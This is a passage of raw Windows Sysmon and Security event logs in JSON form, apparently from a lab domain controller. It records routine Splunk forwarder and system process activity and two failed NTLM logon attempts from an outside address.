\r\nUtcTime: 2020-08-07 11:50:07.797\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.797","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2216,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.797\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FEF-5F2D-0000-0010FA710300}\r\nTargetProcessId: 3620\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.797","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FEF-5F2D-0000-0010FA710300}","TargetProcessId":"3620","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2217,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.953\r\nSourceProcessGUID: {90617006-3FEF-5F2D-0000-0010FA710300}\r\nSourceProcessId: 3620\r\nSourceThreadId: 3632\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.953","SourceProcessGUID":"{90617006-3FEF-5F2D-0000-0010FA710300}","SourceProcessId":"3620","SourceThreadId":"3632","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221509,"ProcessID":860,"ThreadID":908,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t61871\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"61871","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221510,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tNULL\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t62027\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"NULL","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"62027","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2218,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:08.473\r\nProcessGuid: {90617006-3FF0-5F2D-0000-0010E9730300}\r\nProcessId: 3996\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Registry monitor\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-regmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:08.473","ProcessGuid":"{90617006-3FF0-5F2D-0000-0010E9730300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","FileVersion":"8.0.2","Description":"Registry monitor","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-regmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2219,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:08.640\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 4076\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FF0-5F2D-0000-0010E9730300}\r\nTargetProcessId: 3996\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:08.640","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"4076","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-3FF0-5F2D-0000-0010E9730300}","TargetProcessId":"3996","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2220,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:08.640\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FF0-5F2D-0000-0010E9730300}\r\nTargetProcessId: 3996\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:08.640","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FF0-5F2D-0000-0010E9730300}","TargetProcessId":"3996","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2221,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:08.640\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:08.640","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2222,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:08.640\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 